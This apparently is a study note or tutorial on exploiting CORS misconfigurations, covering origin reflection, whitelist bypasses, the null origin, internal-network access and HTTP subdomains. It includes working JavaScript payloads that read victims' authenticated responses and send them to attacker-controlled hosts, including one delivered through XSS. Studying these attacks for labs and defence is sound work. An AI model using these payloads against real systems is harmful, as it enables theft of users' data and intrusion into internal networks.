CORS Misconfigurations

CORS misconfigurations that can lead to vulnerabilities

Access-Control-Allow-Credentials = Tell whether the server allows credentials to be included. Like cookies, user names and password or certificates.

Most attacks require that the Access-Control-Allow-Credentials be set to true, so attackers can sent authenticated requests in the victim's context. Also many websites use CORS to allow access from subdomains and third parties, these implementations may have mistakes.

Example misconfiguration

  1. CORS setup tells the browser. "It's okay, I trust whoever is asking!"
  2. Attackers gets victim to visit a malicious site, while logged into a bank for example the malicious website can sent request to the bank.
  3. Unlike CSRF, with CORS the attacker can read the data and steal info.
Feature Standard Attack (CSRF) CORS Misconfiguration
Can they trigger an action? Yes (e.g., change a password) Yes
Can they read the response? No Yes (e.g., read your emails)

Without the Access-Control-Allow-Credentials being set attackers cannot perform these attacks and sometimes it needs the cookie SameSite=None to be set as well.

Arbitrary Origin Reflection

Access-Control-Allow-Credentials = The Access-Control-Allow-Origin header tells the browser which website is allowed to read the response.

The Access-Control-Allow-Origin header tells the browser who is allowed to bypass the Same-Origin policy allowing the origin to access the response. A wildcard (*) can be used meaning all origins are granted a bypass to the SOP.

To find CORS misconfigurations look for Access-Control-Allow-Origin headers in the response that hold the value of the Origin header in the request. Then modify the Origin header to another value and see if its including the the Access-Control-Allow-Origin response header.

# Request with malicious origin
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

# Reponse ref
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true

Headers show access is allowed from the requesting domain malicious-website.com and that the cross-origin requests can include cookies Access-Control-Allow-Credentials: true and so will be processed in-session.

Origin Reflection attack We can host a malicious script, retrieving sensitive data in the response.

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-misconfigs.zen/data.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
        var exfil = new XMLHttpRequest();
        exfil.open('POST', 'https://10.10.14.123:4443/log', true);
        exfil.setRequestHeader('Content-Type', 'application/json');
        exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
    };
    xhr.send();
</script>

The attack in short

  1. Look for interesting responses containing sensitive data like credentials or api keys.
  2. Add the Origin header with a test value
  3. Check the response if the test value is reflected.
  4. Retrieve response with with above script.

Improper Origin Whitelist

Applications can also allow access by using white lists of allowed origins. If checking this white list is not properly done meaning origins reflecting in the Access-Control-Allow-Origin, attackers might be able to bypass it.

Normal request

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

White listed Origin response

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

Or some websites want to trust all their subdomains. To do this, they check if the Origin header ends with mcz3n.corp

# Allowed
app.mcz3n.corp

# But would also allow
evil-app.mcz3n.corp

Trusted null origin

Besides trusting origins and wildcards, the Access-Control-Allow-Origin also trusts the null value. Some applications might be using this but should not happen, it could occur in:

  • Cross-origin redirects.
  • Requests from serialized data.
  • Request using the file: protocol.
  • Sandboxed cross-origin requests.

A null request

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

Reponse

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Exploitation

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Targeting the local network

If internal web applications do not require authentication and contain a CORS misconfiguration that trusts the attacker's origin, data exfil might be possible. Because if no authentication required you don't need the Access-Control-Allow-Credentials either.

Scenario

An internal API does not require authentication and is hosted at https://172.16.1.1 having set a wildcard in the Access-Control-Allow-Origin header.

Exploitation

Using the wildcard origin we can get access to the internal network and exfiltrate data.

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://172.16.0.2/data.php', true);
    xhr.onload = () => {
        var exfil = new XMLHttpRequest();
        exfil.open('POST', 'https://10.10.14.144:4443/log', true);
        exfil.setRequestHeader('Content-Type', 'application/json');
        exfil.send(JSON.stringify({data: btoa(xhr.responseText)}));
    };
    xhr.send();
</script>

If a victim in the same network will open the payload we would have access to the network, meaning we can exfiltrate data from the network. Instead of using a POST request as above we can also use a GET request.

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-misconfigs.htb/data.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
        location = 'https://10.10.14.144:4443/log?data=' + btoa(xhr.responseText);
    };
    xhr.send();
</script>

But this will display the website in their browser and the URL length is limited. Exfiltration using fetch or XMLHttpRequest in the background is a lot better.

Breaking TLS

If an application strictly employs HTTPS also whitelists a trusted subdomain that is using HTTP.

Request

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

Response

HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true

In this situation attackers could intercept victims traffic exploitint CORS configuration and compromising the victim's interactions.

The attack

  1. Victim makes a HTTP request

  2. Attacker injects a redireciton to http://trusted-subdomain.vulnerable-website.com

  3. Victim follows redirect

  4. Attacker intercepts HTTP request, returns spoofed reponse with CORS request to https://vulnerable-website.com.

  5. Victim browser makes CORS request including origin http://trusted-subdomain.vulnerable-website.com.

  6. Application allows request and returns data in response to attacker.

Using XSS we could send a redirect to the subdomain causing the victim to follow it and returning data from the root domain with script below.

<script>
    document.location="http://stock.0a9900a80399f79181fced8f00920025.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a9900a80399f79181fced8f00920025.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aec008303b6f72c81d2ec8601f00075.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>